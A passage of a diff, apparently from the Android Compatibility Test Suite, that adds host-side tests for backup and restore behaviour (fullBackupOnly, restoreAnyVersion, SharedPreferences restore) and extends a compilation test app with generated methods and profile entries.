+ Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
+ Matcher matcher = pattern.matcher(output.trim());
+ if (matcher.find()) {
+ isEnabled = "enabled".equals(matcher.group(1));
+ } else {
+ throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
+ }
+ return isEnabled;
+ }
+
+ private String getCurrentTransport() throws DeviceNotAvailableException {
+ String output = mDevice.executeShellCommand("bmgr list transports");
+ Pattern pattern = Pattern.compile("\\* (.*)");
+ Matcher matcher = pattern.matcher(output);
+ if (matcher.find()) {
+ return matcher.group(1);
+ } else {
+ throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
+ }
+ }
}
diff --git a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
new file mode 100644
index 0000000..89cfe40
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertNull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that 'fullBackupOnly' manifest attribute is respected by backup manager.
+ *
+ * Uses 3 different versions of the same app that differ only by 'fullBackupOnly' value and the
+ * presence/absence of the backup agent.*
+ *
+ * Invokes device side tests provided by
+ * {@link android.cts.backup.fullbackupapp.FullBackupOnlyTest}.
+ *
+ * The flow of the tests is the following:
+ * 1. Install the app
+ * 2. Generate files in data folder of the app, including a file in no_backup folder. The file in
+ * no_backup folder is used for key/value backup by the backup agent of the app.
+ * 3. Run 'bmgr backupnow'. Depending on the manifest of the app we expect either Dolly or Key/value
+ * backup to be performed.
+ * 4. Uninstall and reinstall the app.
+ * 5. Check that the correct files were restored depending on the manifest:
+ * - Files in the app's data folder for Dolly backup
+ * - Only file in no_backup folder for key/value.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class FullBackupOnlyHostSideTest extends BaseBackupHostSideTest {
+
+ private static final String FULLBACKUPONLY_APP_PACKAGE = "android.cts.backup.fullbackuponlyapp";
+ private static final String FULLBACKUPONLY_DEVICE_TEST_CLASS_NAME =
+ FULLBACKUPONLY_APP_PACKAGE + ".FullBackupOnlyTest";
+
+ /**
+ * The name of the APK of the app that has a backup agent and fullBackupOnly=false in the
+ * manifest
+ */
+ private static final String FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK =
+ "FullBackupOnlyFalseWithAgentApp.apk";
+
+ /**
+ * The name of the APK of the app that has no backup agent and fullBackupOnly=false in the
+ * manifest
+ */
+ private static final String FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK =
+ "FullBackupOnlyFalseNoAgentApp.apk";
+
+ /**
+ * The name of the APK of the app that has a backup agent and fullBackupOnly=true in the
+ * manifest
+ */
+ private static final String FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK =
+ "FullBackupOnlyTrueWithAgentApp.apk";
+
+
+ @After
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ if (!mIsBackupSupported) {
+ return;
+ }
+
+ // Clear backup data and uninstall the package (in that order!)
+ clearBackupDataInLocalTransport(FULLBACKUPONLY_APP_PACKAGE);
+ assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+ }
+
+ /**
+ * Tests that the app that doesn't have fullBackupOnly (same as fullBackupOnly=false by default)
+ * and has a backup agent will get key/value backup.
+ * We check that key/value data was restored after reinstall and dolly data was not.
+ */
+ @Test
+ public void testFullBackupOnlyFalse_WithAgent() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("createFiles");
+
+ backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+ assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+ installPackage(FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("checkKeyValueFileExists");
+ checkFullBackupOnlyDeviceTest("checkDollyFilesDontExist");
+ }
+
+ /**
+ * Tests that the app that doesn't have fullBackupOnly (same as fullBackupOnly=false by default)
+ * and has no backup agent will get Dolly backup.
+ * We check that key/value data was not restored after reinstall and dolly data was.
+ */
+ @Test
+ public void testFullBackupOnlyFalse_NoAgent() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("createFiles");
+
+ backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+ assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+ installPackage(FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("checkKeyValueFileDoesntExist");
+ checkFullBackupOnlyDeviceTest("checkDollyFilesExist");
+ }
+
+ /**
+ * Tests that the app that has fullBackupOnly=true and has a backup agent will only get
+ * Dolly backup.
+ * We check that key/value data was not restored after reinstall and dolly data was.
+ */
+ @Test
+ public void testFullBackupOnlyTrue_WithAgent() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("createFiles");
+
+ backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+ assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+ installPackage(FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("checkKeyValueFileDoesntExist");
+ checkFullBackupOnlyDeviceTest("checkDollyFilesExist");
+ }
+
+
+ private void checkFullBackupOnlyDeviceTest(String methodName)
+ throws DeviceNotAvailableException {
+ checkDeviceTest(FULLBACKUPONLY_APP_PACKAGE, FULLBACKUPONLY_DEVICE_TEST_CLASS_NAME,
+ methodName);
+ }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
index e93c913..a508d47 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertTrue;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.log.LogUtil.CLog;
diff --git a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
index 26ba04d..a1f4927 100644
--- a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
@@ -43,6 +43,10 @@
private static final String KEY_VALUE_RESTORE_APP_PACKAGE =
"android.cts.backup.keyvaluerestoreapp";
+ /** The name of the package with the activity testing shared preference restore. */
+ private static final String SHARED_PREFERENCES_RESTORE_APP_PACKAGE =
+ "android.cts.backup.sharedprefrestoreapp";
+
/** The name of the device side test class */
private static final String KEY_VALUE_RESTORE_DEVICE_TEST_NAME =
KEY_VALUE_RESTORE_APP_PACKAGE + ".KeyValueBackupRestoreTest";
@@ -50,11 +54,19 @@
/** The name of the apk of the app under test */
private static final String KEY_VALUE_RESTORE_APP_APK = "CtsKeyValueBackupRestoreApp.apk";
+ /** The name of the apk with the activity testing shared preference restore. */
+ private static final String SHARED_PREFERENCES_RESTORE_APP_APK =
+ "CtsSharedPreferencesRestoreApp.apk";
+
+
@Before
public void setUp() throws Exception {
super.setUp();
installPackage(KEY_VALUE_RESTORE_APP_APK);
clearPackageData(KEY_VALUE_RESTORE_APP_PACKAGE);
+
+ installPackage(SHARED_PREFERENCES_RESTORE_APP_APK);
+ clearPackageData(SHARED_PREFERENCES_RESTORE_APP_APK);
}
@After
@@ -64,6 +76,9 @@
// Clear backup data and uninstall the package (in that order!)
clearBackupDataInLocalTransport(KEY_VALUE_RESTORE_APP_PACKAGE);
assertNull(uninstallPackage(KEY_VALUE_RESTORE_APP_PACKAGE));
+
+ clearBackupDataInLocalTransport(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+ assertNull(uninstallPackage(SHARED_PREFERENCES_RESTORE_APP_PACKAGE));
}
/**
@@ -98,6 +113,47 @@
checkDeviceTest("checkSharedPreferencesAreRestored");
}
+ /**
+ * Test that verifies SharedPreference restore behavior.
+ *
+ * The tests uses device-side test routines and a test activity in *another* package, since
+ * the app containing the instrumented tests is killed after each test.
+ *
+ * Test logic:
+ * 1. The activity is launched; it creates a new SharedPreferences instance and writes
+ * a known value to the INT_PREF element's via that instance. The instance is
+ * kept live.
+ * 2. The app is backed up, storing this known value in the backup dataset.
+ * 3. Next, the activity is instructed to write a different value to the INT_PREF
+ * shared preferences element. At this point, the app's current on-disk state
+ * and the live shared preferences instance are in agreement, holding a value
+ * different from that in the backup.
+ * 4. The runner triggers a restore for this app. This will rewrite the shared prefs
+ * file itself with the backed-up content (i.e. different from what was just
+ * committed from this activity).
+ * 5. Finally, the runner instructs the activity to compare the value of its existing
+ * shared prefs instance's INT_PREF element with what was previously written.
+ * The test passes if these differ, i.e. if the live shared prefs instance picked
+ * up the newly-restored data.
+ */
+ @Test
+ public void testSharedPreferencesRestore() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ checkDeviceTest("launchSharedPrefActivity");
+
+ backupNowAndAssertSuccess(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+
+ checkDeviceTest("updateSharedPrefActivity");
+
+ restoreAndAssertSuccess(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+
+ checkDeviceTest("checkSharedPrefActivity");
+ }
+
private void checkDeviceTest(String methodName)
throws DeviceNotAvailableException {
super.checkDeviceTest(KEY_VALUE_RESTORE_APP_PACKAGE, KEY_VALUE_RESTORE_DEVICE_TEST_NAME,
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
new file mode 100644
index 0000000..7c1f37b
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileNotFoundException;
+
+/**
+ * Test checking that restoreAnyVersion manifest flag is respected by backup manager.
+ *
+ * Invokes device side tests provided by
+ * android.cts.backup.restoreanyversionapp.RestoreAnyVersionTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class RestoreAnyVersionHostSideTest extends BaseBackupHostSideTest {
+
+ /** The name of the package of the app under test */
+ private static final String RESTORE_ANY_VERSION_APP_PACKAGE =
+ "android.cts.backup.restoreanyversionapp";
+
+ /** The name of the device side test class */
+ private static final String RESTORE_ANY_VERSION_DEVICE_TEST_NAME =
+ RESTORE_ANY_VERSION_APP_PACKAGE + ".RestoreAnyVersionTest";
+
+ /** The name of the APK of the app that has restoreAnyVersion=true in the manifest */
+ private static final String RESTORE_ANY_VERSION_APP_APK = "CtsBackupRestoreAnyVersionApp.apk";
+
+ /** The name of the APK of the app that has a higher version code */
+ private static final String RESTORE_ANY_VERSION_UPDATE_APK =
+ "CtsBackupRestoreAnyVersionAppUpdate.apk";
+
+ /** The name of the APK of the app that has restoreAnyVersion=false in the manifest */
+ private static final String NO_RESTORE_ANY_VERSION_APK =
+ "CtsBackupRestoreAnyVersionNoRestoreApp.apk";
+
+ @After
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ if (!mIsBackupSupported) {
+ return;
+ }
+
+ // Clear backup data and uninstall the package (in that order!)
+ clearBackupDataInLocalTransport(RESTORE_ANY_VERSION_APP_PACKAGE);
+ assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+ }
+
+ /**
+ * Tests that the app that has restoreAnyVersion=false will not get the restored data from a
+ * newer version of that app at install time
+ */
+ @Test
+ public void testRestoreAnyVersion_False() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installNewVersionApp();
+
+ saveSharedPreferenceValue();
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+
+ backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+ assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+ installNoRestoreAnyVersionApp();
+
+ // Shared preference shouldn't be restored
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsEmpty");
+ }
+
+ /**
+ * Tests that the app that has restoreAnyVersion=true will get the restored data from a
+ * newer version of that app at install time
+ */
+ @Test
+ public void testRestoreAnyVersion_True() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installNewVersionApp();
+
+ saveSharedPreferenceValue();
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+
+ backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+ assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+ installRestoreAnyVersionApp();
+
+ // Shared preference should be restored
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+ }
+
+ /**
+ * Tests that the app that has restoreAnyVersion=false will still get the restored data from an
+ * older version of that app at install time
+ */
+ @Test
+ public void testRestoreAnyVersion_OldBackupToNewApp() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installNoRestoreAnyVersionApp();
+
+ saveSharedPreferenceValue();
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsOld");
+
+ backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+ assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+ installNewVersionApp();
+
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsOld");
+ }
+
+ private void saveSharedPreferenceValue () throws DeviceNotAvailableException {
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsEmpty");
+ checkRestoreAnyVersionDeviceTest("saveSharedPrefValue");
+ }
+
+ private void installRestoreAnyVersionApp()
+ throws DeviceNotAvailableException, FileNotFoundException {
+ installPackage(RESTORE_ANY_VERSION_APP_APK, "-d", "-r");
+
+ checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
+ }
+
+ private void installNoRestoreAnyVersionApp()
+ throws DeviceNotAvailableException, FileNotFoundException {
+ installPackage(NO_RESTORE_ANY_VERSION_APK, "-d", "-r");
+
+ checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
+ }
+
+ private void installNewVersionApp()
+ throws DeviceNotAvailableException, FileNotFoundException {
+ installPackage(RESTORE_ANY_VERSION_UPDATE_APK, "-d", "-r");
+
+ checkRestoreAnyVersionDeviceTest("checkAppVersionIsNew");
+ }
+
+ private void checkRestoreAnyVersionDeviceTest(String methodName)
+ throws DeviceNotAvailableException {
+ checkDeviceTest(RESTORE_ANY_VERSION_APP_PACKAGE, RESTORE_ANY_VERSION_DEVICE_TEST_NAME,
+ methodName);
+ }
+}
diff --git a/hostsidetests/bootstats/Android.mk b/hostsidetests/bootstats/Android.mk
index 24e2f8b..58fcfe2 100644
--- a/hostsidetests/bootstats/Android.mk
+++ b/hostsidetests/bootstats/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.bootstats
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/compilation/Android.mk b/hostsidetests/compilation/Android.mk
index 723e5c3..09c8507 100644
--- a/hostsidetests/compilation/Android.mk
+++ b/hostsidetests/compilation/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsCompilationTestCases
diff --git a/hostsidetests/compilation/app/Android.mk b/hostsidetests/compilation/app/Android.mk
index 5bcf108..d9d79d6 100644
--- a/hostsidetests/compilation/app/Android.mk
+++ b/hostsidetests/compilation/app/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsCompilationApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java b/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
index e4c28fb..180b4c4 100644
--- a/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
+++ b/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
@@ -192,6 +192,106 @@
case 97: return m97();
case 98: return m98();
case 99: return m99();
+ case 100: return m100();
+ case 101: return m101();
+ case 102: return m102();
+ case 103: return m103();
+ case 104: return m104();
+ case 105: return m105();
+ case 106: return m106();
+ case 107: return m107();
+ case 108: return m108();
+ case 109: return m109();
+ case 110: return m110();
+ case 111: return m111();
+ case 112: return m112();
+ case 113: return m113();
+ case 114: return m114();
+ case 115: return m115();
+ case 116: return m116();
+ case 117: return m117();
+ case 118: return m118();
+ case 119: return m119();
+ case 120: return m120();
+ case 121: return m121();
+ case 122: return m122();
+ case 123: return m123();
+ case 124: return m124();
+ case 125: return m125();
+ case 126: return m126();
+ case 127: return m127();
+ case 128: return m128();
+ case 129: return m129();
+ case 130: return m130();
+ case 131: return m131();
+ case 132: return m132();
+ case 133: return m133();
+ case 134: return m134();
+ case 135: return m135();
+ case 136: return m136();
+ case 137: return m137();
+ case 138: return m138();
+ case 139: return m139();
+ case 140: return m140();
+ case 141: return m141();
+ case 142: return m142();
+ case 143: return m143();
+ case 144: return m144();
+ case 145: return m145();
+ case 146: return m146();
+ case 147: return m147();
+ case 148: return m148();
+ case 149: return m149();
+ case 150: return m150();
+ case 151: return m151();
+ case 152: return m152();
+ case 153: return m153();
+ case 154: return m154();
+ case 155: return m155();
+ case 156: return m156();
+ case 157: return m157();
+ case 158: return m158();
+ case 159: return m159();
+ case 160: return m160();
+ case 161: return m161();
+ case 162: return m162();
+ case 163: return m163();
+ case 164: return m164();
+ case 165: return m165();
+ case 166: return m166();
+ case 167: return m167();
+ case 168: return m168();
+ case 169: return m169();
+ case 170: return m170();
+ case 171: return m171();
+ case 172: return m172();
+ case 173: return m173();
+ case 174: return m174();
+ case 175: return m175();
+ case 176: return m176();
+ case 177: return m177();
+ case 178: return m178();
+ case 179: return m179();
+ case 180: return m180();
+ case 181: return m181();
+ case 182: return m182();
+ case 183: return m183();
+ case 184: return m184();
+ case 185: return m185();
+ case 186: return m186();
+ case 187: return m187();
+ case 188: return m188();
+ case 189: return m189();
+ case 190: return m190();
+ case 191: return m191();
+ case 192: return m192();
+ case 193: return m193();
+ case 194: return m194();
+ case 195: return m195();
+ case 196: return m196();
+ case 197: return m197();
+ case 198: return m198();
+ case 199: return m199();
default: throw new AssertionError(v + " out of bounds");
}
}
@@ -296,5 +396,104 @@
public int m97() { return new Random(97).nextInt(); }
public int m98() { return new Random(98).nextInt(); }
public int m99() { return new Random(99).nextInt(); }
-
+ public int m100() { return new Random(100).nextInt(); }
+ public int m101() { return new Random(101).nextInt(); }
+ public int m102() { return new Random(102).nextInt(); }
+ public int m103() { return new Random(103).nextInt(); }
+ public int m104() { return new Random(104).nextInt(); }
+ public int m105() { return new Random(105).nextInt(); }
+ public int m106() { return new Random(106).nextInt(); }
+ public int m107() { return new Random(107).nextInt(); }
+ public int m108() { return new Random(108).nextInt(); }
+ public int m109() { return new Random(109).nextInt(); }
+ public int m110() { return new Random(110).nextInt(); }
+ public int m111() { return new Random(111).nextInt(); }
+ public int m112() { return new Random(112).nextInt(); }
+ public int m113() { return new Random(113).nextInt(); }
+ public int m114() { return new Random(114).nextInt(); }
+ public int m115() { return new Random(115).nextInt(); }
+ public int m116() { return new Random(116).nextInt(); }
+ public int m117() { return new Random(117).nextInt(); }
+ public int m118() { return new Random(118).nextInt(); }
+ public int m119() { return new Random(119).nextInt(); }
+ public int m120() { return new Random(120).nextInt(); }
+ public int m121() { return new Random(121).nextInt(); }
+ public int m122() { return new Random(122).nextInt(); }
+ public int m123() { return new Random(123).nextInt(); }
+ public int m124() { return new Random(124).nextInt(); }
+ public int m125() { return new Random(125).nextInt(); }
+ public int m126() { return new Random(126).nextInt(); }
+ public int m127() { return new Random(127).nextInt(); }
+ public int m128() { return new Random(128).nextInt(); }
+ public int m129() { return new Random(129).nextInt(); }
+ public int m130() { return new Random(130).nextInt(); }
+ public int m131() { return new Random(131).nextInt(); }
+ public int m132() { return new Random(132).nextInt(); }
+ public int m133() { return new Random(133).nextInt(); }
+ public int m134() { return new Random(134).nextInt(); }
+ public int m135() { return new Random(135).nextInt(); }
+ public int m136() { return new Random(136).nextInt(); }
+ public int m137() { return new Random(137).nextInt(); }
+ public int m138() { return new Random(138).nextInt(); }
+ public int m139() { return new Random(139).nextInt(); }
+ public int m140() { return new Random(140).nextInt(); }
+ public int m141() { return new Random(141).nextInt(); }
+ public int m142() { return new Random(142).nextInt(); }
+ public int m143() { return new Random(143).nextInt(); }
+ public int m144() { return new Random(144).nextInt(); }
+ public int m145() { return new Random(145).nextInt(); }
+ public int m146() { return new Random(146).nextInt(); }
+ public int m147() { return new Random(147).nextInt(); }
+ public int m148() { return new Random(148).nextInt(); }
+ public int m149() { return new Random(149).nextInt(); }
+ public int m150() { return new Random(150).nextInt(); }
+ public int m151() { return new Random(151).nextInt(); }
+ public int m152() { return new Random(152).nextInt(); }
+ public int m153() { return new Random(153).nextInt(); }
+ public int m154() { return new Random(154).nextInt(); }
+ public int m155() { return new Random(155).nextInt(); }
+ public int m156() { return new Random(156).nextInt(); }
+ public int m157() { return new Random(157).nextInt(); }
+ public int m158() { return new Random(158).nextInt(); }
+ public int m159() { return new Random(159).nextInt(); }
+ public int m160() { return new Random(160).nextInt(); }
+ public int m161() { return new Random(161).nextInt(); }
+ public int m162() { return new Random(162).nextInt(); }
+ public int m163() { return new Random(163).nextInt(); }
+ public int m164() { return new Random(164).nextInt(); }
+ public int m165() { return new Random(165).nextInt(); }
+ public int m166() { return new Random(166).nextInt(); }
+ public int m167() { return new Random(167).nextInt(); }
+ public int m168() { return new Random(168).nextInt(); }
+ public int m169() { return new Random(169).nextInt(); }
+ public int m170() { return new Random(170).nextInt(); }
+ public int m171() { return new Random(171).nextInt(); }
+ public int m172() { return new Random(172).nextInt(); }
+ public int m173() { return new Random(173).nextInt(); }
+ public int m174() { return new Random(174).nextInt(); }
+ public int m175() { return new Random(175).nextInt(); }
+ public int m176() { return new Random(176).nextInt(); }
+ public int m177() { return new Random(177).nextInt(); }
+ public int m178() { return new Random(178).nextInt(); }
+ public int m179() { return new Random(179).nextInt(); }
+ public int m180() { return new Random(180).nextInt(); }
+ public int m181() { return new Random(181).nextInt(); }
+ public int m182() { return new Random(182).nextInt(); }
+ public int m183() { return new Random(183).nextInt(); }
+ public int m184() { return new Random(184).nextInt(); }
+ public int m185() { return new Random(185).nextInt(); }
+ public int m186() { return new Random(186).nextInt(); }
+ public int m187() { return new Random(187).nextInt(); }
+ public int m188() { return new Random(188).nextInt(); }
+ public int m189() { return new Random(189).nextInt(); }
+ public int m190() { return new Random(190).nextInt(); }
+ public int m191() { return new Random(191).nextInt(); }
+ public int m192() { return new Random(192).nextInt(); }
+ public int m193() { return new Random(193).nextInt(); }
+ public int m194() { return new Random(194).nextInt(); }
+ public int m195() { return new Random(195).nextInt(); }
+ public int m196() { return new Random(196).nextInt(); }
+ public int m197() { return new Random(197).nextInt(); }
+ public int m198() { return new Random(198).nextInt(); }
+ public int m199() { return new Random(199).nextInt(); }
}
diff --git a/hostsidetests/compilation/assets/CtsCompilationApp.apk b/hostsidetests/compilation/assets/CtsCompilationApp.apk
index e556756..1764915 100644
--- a/hostsidetests/compilation/assets/CtsCompilationApp.apk
+++ b/hostsidetests/compilation/assets/CtsCompilationApp.apk
Binary files differ
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
index ab8b943..0a8bded 100644
--- a/hostsidetests/compilation/assets/primary.prof.txt
+++ b/hostsidetests/compilation/assets/primary.prof.txt
@@ -1,4 +1,15 @@
Landroid/cts/compilation/CompilationTargetActivity;
+Landroid/cts/compilation/CompilationTargetActivity;->m0()I
+Landroid/cts/compilation/CompilationTargetActivity;->m1()I
+Landroid/cts/compilation/CompilationTargetActivity;->m2()I
+Landroid/cts/compilation/CompilationTargetActivity;->m3()I
+Landroid/cts/compilation/CompilationTargetActivity;->m4()I
+Landroid/cts/compilation/CompilationTargetActivity;->m5()I
+Landroid/cts/compilation/CompilationTargetActivity;->m6()I
+Landroid/cts/compilation/CompilationTargetActivity;->m7()I
+Landroid/cts/compilation/CompilationTargetActivity;->m8()I
+Landroid/cts/compilation/CompilationTargetActivity;->m9()I
+Landroid/cts/compilation/CompilationTargetActivity;->m10()I
Landroid/cts/compilation/CompilationTargetActivity;->m11()I
Landroid/cts/compilation/CompilationTargetActivity;->m12()I
Landroid/cts/compilation/CompilationTargetActivity;->m13()I
@@ -13,3 +24,80 @@
Landroid/cts/compilation/CompilationTargetActivity;->m22()I
Landroid/cts/compilation/CompilationTargetActivity;->m23()I
Landroid/cts/compilation/CompilationTargetActivity;->m24()I
+Landroid/cts/compilation/CompilationTargetActivity;->m25()I
+Landroid/cts/compilation/CompilationTargetActivity;->m26()I
+Landroid/cts/compilation/CompilationTargetActivity;->m27()I
+Landroid/cts/compilation/CompilationTargetActivity;->m28()I
+Landroid/cts/compilation/CompilationTargetActivity;->m29()I
+Landroid/cts/compilation/CompilationTargetActivity;->m30()I
+Landroid/cts/compilation/CompilationTargetActivity;->m31()I
+Landroid/cts/compilation/CompilationTargetActivity;->m32()I
+Landroid/cts/compilation/CompilationTargetActivity;->m33()I
+Landroid/cts/compilation/CompilationTargetActivity;->m34()I
+Landroid/cts/compilation/CompilationTargetActivity;->m35()I
+Landroid/cts/compilation/CompilationTargetActivity;->m36()I
+Landroid/cts/compilation/CompilationTargetActivity;->m37()I
+Landroid/cts/compilation/CompilationTargetActivity;->m38()I
+Landroid/cts/compilation/CompilationTargetActivity;->m39()I
+Landroid/cts/compilation/CompilationTargetActivity;->m40()I
+Landroid/cts/compilation/CompilationTargetActivity;->m41()I
+Landroid/cts/compilation/CompilationTargetActivity;->m42()I
+Landroid/cts/compilation/CompilationTargetActivity;->m43()I
+Landroid/cts/compilation/CompilationTargetActivity;->m44()I
+Landroid/cts/compilation/CompilationTargetActivity;->m45()I
+Landroid/cts/compilation/CompilationTargetActivity;->m46()I
+Landroid/cts/compilation/CompilationTargetActivity;->m47()I
+Landroid/cts/compilation/CompilationTargetActivity;->m48()I
+Landroid/cts/compilation/CompilationTargetActivity;->m49()I
+Landroid/cts/compilation/CompilationTargetActivity;->m50()I
+Landroid/cts/compilation/CompilationTargetActivity;->m51()I
+Landroid/cts/compilation/CompilationTargetActivity;->m52()I
+Landroid/cts/compilation/CompilationTargetActivity;->m53()I
+Landroid/cts/compilation/CompilationTargetActivity;->m54()I
